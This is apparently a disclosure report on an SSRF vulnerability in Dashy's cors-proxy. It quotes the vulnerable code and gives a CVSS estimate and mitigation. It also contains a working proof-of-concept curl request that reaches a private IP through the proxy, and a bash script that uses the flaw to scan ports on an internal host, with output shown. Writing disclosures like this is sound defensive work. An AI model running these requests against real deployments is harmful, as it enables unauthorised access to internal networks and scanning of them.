Security vulnerability SSRF (server side request forgery) in DASHY services/cors-proxy.js

Github Repository: Dashy
Latest commit related: 661b1aab07ef2fac831e4e76f7c35cb95c6e6671

vulnerable code:

  // Get desired URL, from Target-URL header
  const targetURL = req.header('Target-URL');
  if (!targetURL) {
    res.status(500).send({ error: 'There is no Target-Endpoint header in the request' });
    return;
  }
  // Apply any custom headers, if needed
  const headers = req.header('CustomHeaders') ? JSON.parse(req.header('CustomHeaders')) : {};

  // Prepare the request
  const requestConfig = {
    method: req.method,
    url: targetURL,
    json: req.body,
    headers,
  };

Context

The Target-URL variable is handle by the user through http request and is not sanitized. The User is able to pass a local url to this variable.
This could result in an unauthorized access to LAN webservices.

SSRF Description:

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials. (portswigger.net)

Estimated CVSS score:

AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L/E:F/RL:X/RC:R/CR:L/IR:X/AR:X/MAV:N/MAC:L/MPR:L/MUI:N/MS:C/MC:L/MI:L/MA:L
CVSS Temporal Score: 6.9

Proof of Concept

In this case, we are attacking a machine wich is hosting multiple containers, let's say we already know the intern IP of the machine.

Victime machines containers:

sudo docker ps
CONTAINER ID   IMAGE           COMMAND                  CREATED          STATUS                PORTS                                                                      NAMES 
a323e8b93d46   nginx:latest    "/docker-entrypoint.…"   15 minutes ago   Up 15 minutes         0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp   webserver
6c989d8149e0   lissy93/dashy   "/sbin/tini -- yarn …"   3 days ago       Up 3 days (healthy)   0.0.0.0:4000->80/tcp, :::4000->80/tcp                                      Dashy

In another scenario Dashy app could be hosted directly on the machine and we could use directly 127.0.0.1 as target..

Let's say we want to reach 10.42.111.111 port 80 web app.

curl 10.42.111.111 
curl: (7) Couldn't connect to server

This is normal, 10.42.111.111 is a private IP, we cannot reach it.

We can reach this IP thanks to the SSRF though.

curl 'https://VICTIM-WEBSITE/cors-proxy' -i \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7' \
  -H 'Connection: keep-alive' \
  -H 'CustomHeaders: null' \
  -H 'If-None-Match: W/"73f-WLBI53E3nii2rA0HfX/v5/AtVCc"' \
  -H 'Referer: https://VICTIM-WEBSITE/' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Target-URL: http://10.42.111.111' \
  -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36' \
  -H 'sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "macOS"' \
  --compressed 
  
  
  HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 13 Sep 2022 10:58:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, PUT, PATCH, POST, DELETE
ETag: W/"26-LcRXoq3UlNVIYm4UcHVbSvO70D4"
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Encoding: gzip

<html>

Super Secret website

</html>

Screen shot:

Others scenarios

An attacker could use this vulnerability to enumerate open ports on a machine only accessible with a LAN access.

example:

#! /usr/bin/env bash

HOST="https://VICTIM_WEBSITE"
LAN_TARGET="10.42.111.111"
PORTS_RANGE=$(seq 1 1024)




for port in $PORTS_RANGE
do
    curl "$HOST/cors-proxy"  \
      -H 'Accept: application/json, text/plain, */*' \
      -H 'Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7' \
      -H 'Connection: keep-alive' \
      -H 'CustomHeaders: null' \
      -H 'If-None-Match: W/"73f-WLBI53E3nii2rA0HfX/v5/AtVCc"' \
      -H "Referer: $HOST/" \
      -H 'Sec-Fetch-Dest: empty' \
      -H 'Sec-Fetch-Mode: cors' \
      -H 'Sec-Fetch-Site: same-origin' \
      -H "Target-URL: http://$LAN_TARGET:$port"  \
      -H 'User-Agent: curl' \
      -H 'sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"' \
      -H 'sec-ch-ua-mobile: ?0' \
      -H 'sec-ch-ua-platform: "macOS"' \
      --compressed 2> /dev/null | grep -v 'ECONNREFUSED' | sed "s/.*/Open port: $port on $LAN_TARGET/" | sort -u
 done

output:

bf_ports.sh
Open port: 22 on 10.42.111.111
Open port: 80 on 10.42.111.111

An attacker could also try to brute force other internals IPs trying to reach private web services.

Mitigation

IP sanitization is needed for the Target-URL parameter.

Quick Fix

editing "dashy/services/cors-proxy.js" and remove the line that sends the response:

 // Make the request, and respond with result \
  axios.request(requestConfig) \
    .then((response) => { \
      //res.status(200).send(response.data); commenting the reponses to avoid SSRF \
    }).catch((error) => { \
      res.status(500).send({ error });\
    });\
Obviously this means you cannot use some features anymore like CVE feed.